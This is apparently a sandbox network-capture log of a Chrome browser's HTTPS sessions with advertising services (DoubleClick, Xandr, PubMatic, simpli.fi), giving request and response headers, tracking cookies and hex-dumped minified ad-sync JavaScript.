2024-04-27 22:42:11 UTC	528	IN	HTTP/1.1 200 OK p3p: policyref='http://cdn.deepintent.com/p3p.xml', CP='NON CUR DEV TAI' set-cookie: CDIUSER=di_c1494c1900dc4b8c99559; Max-Age=47260800; SameSite=None; Expires=Sun, 26 Oct 2025 22:42:11 GMT; Domain=deepintent.com; Secure; Path=/ set-cookie: CDIPARTNERS=%7B%221%22%3A%2220240427%22%7D; Max-Age=47260800; SameSite=None; Expires=Sun, 26 Oct 2025 22:42:11 GMT; Domain=deepintent.com; Secure; Path=/ content-type: image/gif content-length: 0 date: Sat, 27 Apr 2024 22:42:11 GMT server: a connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.4	50206	172.253.122.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	523	OUT	POST /.well-known/attribution-reporting/debug/verbose HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive Content-Length: 271 Pragma: no-cache Cache-Control: no-cache Content-Type: application/json Origin: https://ad.doubleclick.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	271	OUT	Data Raw: 5b 7b 22 62 6f 64 79 22 3a 7b 22 61 74 74 72 69 62 75 74 69 6f 6e 5f 64 65 73 74 69 6e 61 74 69 6f 6e 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 73 74 65 6c 6c 61 74 69 6f 6e 6d 75 74 75 61 6c 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 63 75 72 69 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 64 65 62 75 67 63 6f 6e 76 65 72 73 69 6f 6e 64 6f 6d 61 69 6e 31 2e 63 6f 6d 22 5d 2c 22 73 6f 75 72 63 65 5f 64 65 62 75 67 5f 6b 65 79 22 3a 22 31 37 32 37 39 32 38 37 36 34 39 37 32 34 36 30 33 38 35 38 22 2c 22 73 6f 75 72 63 65 5f 65 76 65 6e 74 5f 69 64 22 3a 22 31 32 34 39 35 32 38 38 31 39 33 36 35 39 39 30 36 34 37 39 22 2c 22 73 6f 75 72 63 65 5f 73 69 74 65 22 3a 22 68 74 74 70 73 3a 2f 2f 79 61 68 6f 6f 2e 63 6f 6d 22 7d 2c 22 74 79 70 65 22 3a 22 73 Data Ascii: [{"body":{"attribution_destination":["https://constellationmutual.com","https://curi.com","https://debugconversiondomain1.com"],"source_debug_key":"17279287649724603858","source_event_id":"12495288193659906479","source_site":"https://yahoo.com"},"type":"s
2024-04-27 22:42:11 UTC	493	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Sat, 27 Apr 2024 22:42:11 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.4	50198	151.101.1.108	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	1033	OUT	GET /dmp/async_usersync.html?gdpr=0&seller_id=7911&pub_id=2023142 HTTP/1.1 Host: acdn.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
2024-04-27 22:42:11 UTC	552	IN	HTTP/1.1 200 OK Connection: close Content-Length: 53044 Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html Last-Modified: Fri, 25 Mar 2022 16:06:02 GMT ETag: "623de86a-cf34" Expires: Tue, 06 Feb 2024 04:42:22 GMT Cache-Control: max-age=86402 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Sat, 27 Apr 2024 22:42:11 GMT Age: 45000 X-Served-By: cache-lga13626-LGA, cache-iad-kjyo7100141-IAD X-Cache: HIT, HIT X-Cache-Hits: 3615, 1 X-Timer: S1714257732.790485,VS0,VE1 Vary: Accept-Encoding
2024-04-27 22:42:11 UTC	1371	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 69 66 28 65 5b 6e 5d 29 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 65 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 61 29 2c 69 2e 6c 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 61 2e 6d 3d 74 2c 61 2e 63 3d 65 2c 61 2e 64 3d 66 75 6e 63 74 69 6f Data Ascii: <!DOCTYPE html><html><head></head><body><script type="text/javascript">!function(t){var e={};function a(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,a),i.l=!0,i.exports}a.m=t,a.c=e,a.d=functio
2024-04-27 22:42:11 UTC	1371	IN	Data Raw: 6e 20 61 29 69 28 61 2c 6e 29 26 26 28 74 5b 6e 5d 3d 61 5b 6e 5d 29 7d 7d 72 65 74 75 72 6e 20 74 7d 2c 65 2e 73 68 72 69 6e 6b 42 75 66 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 2e 6c 65 6e 67 74 68 3d 3d 3d 65 3f 74 3a 74 2e 73 75 62 61 72 72 61 79 3f 74 2e 73 75 62 61 72 72 61 79 28 30 2c 65 29 3a 28 74 2e 6c 65 6e 67 74 68 3d 65 2c 74 29 7d 3b 76 61 72 20 72 3d 7b 61 72 72 61 79 53 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 61 2c 6e 2c 69 29 7b 69 66 28 65 2e 73 75 62 61 72 72 61 79 26 26 74 2e 73 75 62 61 72 72 61 79 29 74 2e 73 65 74 28 65 2e 73 75 62 61 72 72 61 79 28 61 2c 61 2b 6e 29 2c 69 29 3b 65 6c 73 65 20 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 6e 3b 72 2b 2b 29 74 5b 69 2b 72 5d 3d 65 5b 61 2b 72 5d 7d 2c Data Ascii: n a)i(a,n)&&(t[n]=a[n])}}return t},e.shrinkBuf=function(t,e){return t.length===e?t:t.subarray?t.subarray(0,e):(t.length=e,t)};var r={arraySet:function(t,e,a,n,i){if(e.subarray&&t.subarray)t.set(e.subarray(a,a+n),i);else for(var r=0;r<n;r++)t[i+r]=e[a+r]},
2024-04-27 22:42:11 UTC	1371	IN	Data Raw: 22 6f 6e 22 2b 74 2c 65 29 7d 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 74 7c 7c 21 74 2e 70 75 72 70 6f 73 65 7c 7c 21 74 2e 70 75 72 70 6f 73 65 2e 63 6f 6e 73 65 6e 74 73 7c 7c 21 30 3d 3d 3d 74 2e 70 75 72 70 6f 73 65 2e 63 6f 6e 73 65 6e 74 73 5b 31 5d 7d 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 64 61 74 61 3b 74 72 79 7b 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 65 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 61 3d 65 2e 5f 5f 63 6d 70 52 65 74 75 72 6e 7c 7c 65 2e 5f 5f 74 63 66 61 70 69 52 65 74 75 72 6e 3b 61 26 26 28 22 67 65 74 43 6f 6e 73 65 6e 74 44 61 74 61 22 3d 3d 3d 61 2e 63 6f 6d 6d 61 6e 64 26 26 61 2e 72 65 74 75 72 6e 56 61 6c 75 65 3f 68 28 61 2e 63 61 6c 6c 49 64 2c 61 2e 72 65 74 Data Ascii: "on"+t,e)},o=function(t){return!t\|\|!t.purpose\|\|!t.purpose.consents\|\|!0===t.purpose.consents[1]},l=function(t){var e=t.data;try{e=JSON.parse(e)}catch(t){}var a=e.__cmpReturn\|\|e.__tcfapiReturn;a&&("getConsentData"===a.command&&a.returnValue?h(a.callId,a.ret
2024-04-27 22:42:11 UTC	1371	IN	Data Raw: 33 3a 61 3b 64 6f 7b 72 3d 72 2b 28 69 3d 69 2b 65 5b 6e 2b 2b 5d 7c 30 29 7c 30 7d 77 68 69 6c 65 28 2d 2d 73 29 3b 69 25 3d 36 35 35 32 31 2c 72 25 3d 36 35 35 32 31 7d 72 65 74 75 72 6e 20 69 7c 72 3c 3c 31 36 7c 30 7d 7d 2c 32 30 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 2c 65 3d 5b 5d 2c 61 3d 30 3b 61 3c 32 35 36 3b 61 2b 2b 29 7b 74 3d 61 3b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 38 3b 6e 2b 2b 29 74 3d 31 26 74 3f 33 39 38 38 32 39 32 33 38 34 5e 74 3e 3e 3e 31 3a 74 3e 3e 3e 31 3b 65 5b 61 5d 3d 74 7d 72 65 74 75 72 6e 20 65 7d 28 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 61 2c 69 29 7b Data Ascii: 3:a;do{r=r+(i=i+e[n++]\|0)\|0}while(--s);i%=65521,r%=65521}return i\|r<<16\|0}},20:function(t,e,a){"use strict";var n=function(){for(var t,e=[],a=0;a<256;a++){t=a;for(var n=0;n<8;n++)t=1&t?3988292384^t>>>1:t>>>1;e[a]=t}return e}();t.exports=function(t,e,a,i){
2024-04-27 22:42:11 UTC	1371	IN	Data Raw: 75 72 6e 20 65 7d 2c 65 2e 62 75 66 32 62 69 6e 73 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6c 28 74 2c 74 2e 6c 65 6e 67 74 68 29 7d 2c 65 2e 62 69 6e 73 74 72 69 6e 67 32 62 75 66 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 65 77 20 6e 2e 42 75 66 38 28 74 2e 6c 65 6e 67 74 68 29 2c 61 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 61 3c 69 3b 61 2b 2b 29 65 5b 61 5d 3d 74 2e 63 68 61 72 43 6f 64 65 41 74 28 61 29 3b 72 65 74 75 72 6e 20 65 7d 2c 65 2e 62 75 66 32 73 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 61 2c 6e 2c 69 2c 72 2c 6f 3d 65 7c 7c 74 2e 6c 65 6e 67 74 68 2c 68 3d 6e 65 77 20 41 72 72 61 79 28 32 2a 6f 29 3b 66 6f 72 28 6e 3d 30 2c 61 3d 30 3b 61 3c 6f Data Ascii: urn e},e.buf2binstring=function(t){return l(t,t.length)},e.binstring2buf=function(t){for(var e=new n.Buf8(t.length),a=0,i=e.length;a<i;a++)e[a]=t.charCodeAt(a);return e},e.buf2string=function(t,e){var a,n,i,r,o=e\|\|t.length,h=new Array(2*o);for(n=0,a=0;a<o
2024-04-27 22:42:11 UTC	1371	IN	Data Raw: 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 6e 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 2c 61 3d 31 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 61 3c 6e 3b 61 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 65 3d 61 72 67 75 6d 65 6e 74 73 5b 61 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c 69 29 26 26 28 74 5b 69 5d 3d 65 5b 69 5d 29 3b 72 65 74 75 72 6e 20 74 7d 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 3b 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 21 30 3b 76 61 72 20 69 3d 61 28 33 37 29 2c 72 3d 28 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e Data Ascii: tion(){return(n=Object.assign\|\|function(t){for(var e,a=1,n=arguments.length;a<n;a++)for(var i in e=arguments[a])Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i]);return t}).apply(this,arguments)};e.__esModule=!0;var i=a(37),r=(window&&window.location
2024-04-27 22:42:11 UTC	1371	IN	Data Raw: 65 3d 6e 6f 6e 65 3b 73 65 63 75 72 65 3b 70 61 74 68 3d 22 2b 69 2b 72 7d 2c 74 68 69 73 2e 77 72 69 74 65 50 69 78 65 6c 4d 61 70 54 6f 43 6f 6f 6b 69 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 2e 70 69 78 65 6c 4d 61 70 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 61 3d 65 2e 70 69 78 65 6c 4d 61 70 5b 74 5d 2c 6e 3d 61 2e 69 64 2c 69 3d 61 2e 73 79 6e 63 5f 63 6f 6d 70 6c 65 74 65 3b 72 65 74 75 72 6e 7b 69 64 3a 6e 2c 73 79 6e 63 5f 73 74 61 72 74 3a 61 2e 73 79 6e 63 5f 73 74 61 72 74 2c 73 79 6e 63 5f 63 6f 6d 70 6c 65 74 65 3a 69 7d 7d 29 2c 61 3d 69 2e 65 6e 63 6f 64 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 76 65 72 73 69 6f 6e 3a 73 2c 70 69 78 65 6c 73 3a 74 Data Ascii: e=none;secure;path="+i+r},this.writePixelMapToCookie=function(){var t=Object.keys(e.pixelMap).map(function(t){var a=e.pixelMap[t],n=a.id,i=a.sync_complete;return{id:n,sync_start:a.sync_start,sync_complete:i}}),a=i.encode(JSON.stringify({version:s,pixels:t
2024-04-27 22:42:11 UTC	1371	IN	Data Raw: 2e 66 69 72 73 74 43 68 69 6c 64 29 7d 2c 74 68 69 73 2e 70 72 6f 63 65 73 73 50 69 78 65 6c 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3b 74 3d 65 2e 70 69 78 65 6c 51 75 65 75 65 2e 73 68 69 66 74 28 29 3b 29 7b 76 61 72 20 61 3d 74 2e 69 64 3b 65 2e 70 69 78 65 6c 52 65 71 75 65 73 74 4d 61 70 5b 61 5d 7c 7c 28 65 2e 70 69 78 65 6c 52 65 71 75 65 73 74 4d 61 70 5b 61 5d 3d 74 2c 65 2e 6c 6f 61 64 50 69 78 65 6c 28 74 29 29 7d 7d 2c 74 68 69 73 2e 69 6d 70 62 75 73 55 72 6c 3d 74 7c 7c 64 2c 74 68 69 73 2e 70 69 78 65 6c 51 75 65 75 65 3d 5b 5d 2c 74 68 69 73 2e 70 69 78 65 6c 52 65 71 75 65 73 74 4d 61 70 3d 7b 7d 2c 74 68 69 73 2e 70 69 78 65 6c 4d 61 70 3d 74 68 69 73 2e 72 65 61 64 50 69 78 65 6c 4d 61 70 46 72 6f 6d 43 6f 6f Data Ascii: .firstChild)},this.processPixels=function(){for(var t;t=e.pixelQueue.shift();){var a=t.id;e.pixelRequestMap[a]\|\|(e.pixelRequestMap[a]=t,e.loadPixel(t))}},this.impbusUrl=t\|\|d,this.pixelQueue=[],this.pixelRequestMap={},this.pixelMap=this.readPixelMapFromCoo
2024-04-27 22:42:11 UTC	1371	IN	Data Raw: 29 3e 3e 38 29 2c 65 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 32 35 35 26 61 29 29 2c 65 7d 7d 2c 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3b 66 6f 72 28 74 3d 53 74 72 69 6e 67 28 74 29 2c 65 3d 30 3b 65 3c 74 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 69 66 28 74 2e 63 68 61 72 43 6f 64 65 41 74 28 65 29 3e 32 35 35 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 61 3d 22 22 3b 66 6f 72 28 65 3d 30 3b 65 3c 74 2e 6c 65 6e 67 74 68 3b 65 2b 3d 33 29 7b 76 61 72 20 6e 3d 5b 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 5d 3b 6e 5b 30 5d 3d 74 2e 63 68 61 72 43 6f 64 Data Ascii: )>>8),e+=String.fromCharCode(255&a)),e}},40:function(t,e,a){"use strict";t.exports=function(t){var e;for(t=String(t),e=0;e<t.length;e++)if(t.charCodeAt(e)>255)return null;var a="";for(e=0;e<t.length;e+=3){var n=[void 0,void 0,void 0,void 0];n[0]=t.charCod
2024-04-27 22:42:11 UTC	1371	IN	Data Raw: 65 77 20 45 72 72 6f 72 28 73 5b 61 5d 29 3b 69 66 28 65 2e 68 65 61 64 65 72 26 26 6e 2e 64 65 66 6c 61 74 65 53 65 74 48 65 61 64 65 72 28 74 68 69 73 2e 73 74 72 6d 2c 65 2e 68 65 61 64 65 72 29 2c 65 2e 64 69 63 74 69 6f 6e 61 72 79 29 7b 76 61 72 20 5f 3b 69 66 28 5f 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2e 64 69 63 74 69 6f 6e 61 72 79 3f 72 2e 73 74 72 69 6e 67 32 62 75 66 28 65 2e 64 69 63 74 69 6f 6e 61 72 79 29 3a 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 42 75 66 66 65 72 5d 22 3d 3d 3d 6c 2e 63 61 6c 6c 28 65 2e 64 69 63 74 69 6f 6e 61 72 79 29 3f 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 65 2e 64 69 63 74 69 6f 6e 61 72 79 29 3a 65 2e 64 69 63 74 69 6f 6e 61 72 79 2c 28 61 3d 6e 2e 64 65 66 6c 61 74 65 53 65 74 44 69 63 Data Ascii: ew Error(s[a]);if(e.header&&n.deflateSetHeader(this.strm,e.header),e.dictionary){var _;if(_="string"==typeof e.dictionary?r.string2buf(e.dictionary):"[object ArrayBuffer]"===l.call(e.dictionary)?new Uint8Array(e.dictionary):e.dictionary,(a=n.deflateSetDic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.4	50202	35.236.220.17	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	723	OUT	GET /pubmatic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODA2JnRsPTUxODQwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:11 UTC	961	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 27 Apr 2024 22:42:11 GMT Content-Type: text/html Content-Length: 142 Connection: close Set-Cookie: suid=A6347C54E561441189B9C53740B29AD4; Path=/; domain=simpli.fi; Expires=Mon, 28-Apr-25 22:42:11 GMT; SameSite=none; Secure; Set-Cookie: suid_legacy=A6347C54E561441189B9C53740B29AD4; Path=/; domain=simpli.fi; Expires=Mon, 28-Apr-25 22:42:11 GMT; Secure; Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:A6347C54E561441189B9C53740B29AD4 Expires: Fri, 26 Apr 2024 22:42:11 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-04-27 22:42:11 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.4	50207	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:11 UTC	1776	OUT	GET /ddm/adj/N1068.4402292ASKLOCALA/B31278923.386942594;dc_ver=101.296;sz=300x250;u_sd=1;gdpr=0;nel=1;dc_adk=3132527028;ord=qotuw6;click=https%3A%2F%2Fnym1-ib.adnxs.com%2Fclick2%3Fe%3DwqT_3QKbAfBDmwAAAAMAxBkFAQi3_rWxBhD1556Ezbep80wY3s-3-_Wh4JRTIIri2Qoo5z0wlHY4AkCU46bzAUiOlpcBUABaA1VTRGIBBfBSaKwCcPoBeKCwZ4AB9ekFiAEBkAECmAEFoAECqQGPtgjGTXDdP7EBomKcvwmF1T-5AQAAAIDrUR9AwQFs_aFXC4XVP8kB4xk09E9w3T_YAQDgAQA.%2Fs%3Ded5f2669026f0f7e76a6e0d4252c22059c8f2ad3%2Fbcr%3DAAAAAAAA8D8%3D%2Fcnd%3D%2521Whjv8Aiw2-4cEJTjpvMBGI6WlwEgACgAMc3MzMzMzPw_OglOWU0yOjQ1MDhAoUZJAAAAAAAA8D9RAAAAAAAAAABZAAAAAAAAAABhAAAAAAAAAABpAAAAAAAAAABxAAAAAADAIUB4AIkBAAAAAAAA8D8.%2Fcca%3DMTUxMjQjTllNMjo0NTA4%2Fbn%3D95477%2Fclickenc%3D;uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.;dc_rfl=2,https%3A%2F%2Fwww.yahoo.com%2F$0;xdt=1;crlt=cyZyNuI(fd;cmpl=8;gcsr=a;stc=1;asnm=1;chaa=1;sttr=597;pr [TRUNCATED] Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
2024-04-27 22:42:11 UTC	882	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Sat, 27 Apr 2024 22:42:11 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe X-XSS-Protection: 0 Set-Cookie: APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw; expires=Thu, 24-Oct-2024 22:42:11 GMT; path=/; domain=doubleclick.net; Secure; SameSite=none; Partitioned Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-27 22:42:11 UTC	373	IN	Data Raw: 38 30 30 30 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 5c 78 33 63 73 63 72 69 70 74 5c 78 33 65 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 2a 2f 76 61 72 20 67 5c 78 33 64 74 68 69 73 7c 7c 73 65 6c 66 2c 6b 5c 78 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 78 33 64 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 5c 78 33 64 63 2e Data Ascii: 8000document.write('\x3cscript\x3e(function() {(function(){/Copyright The Closure Library Authors.SPDX-License-Identifier: Apache-2.0/var 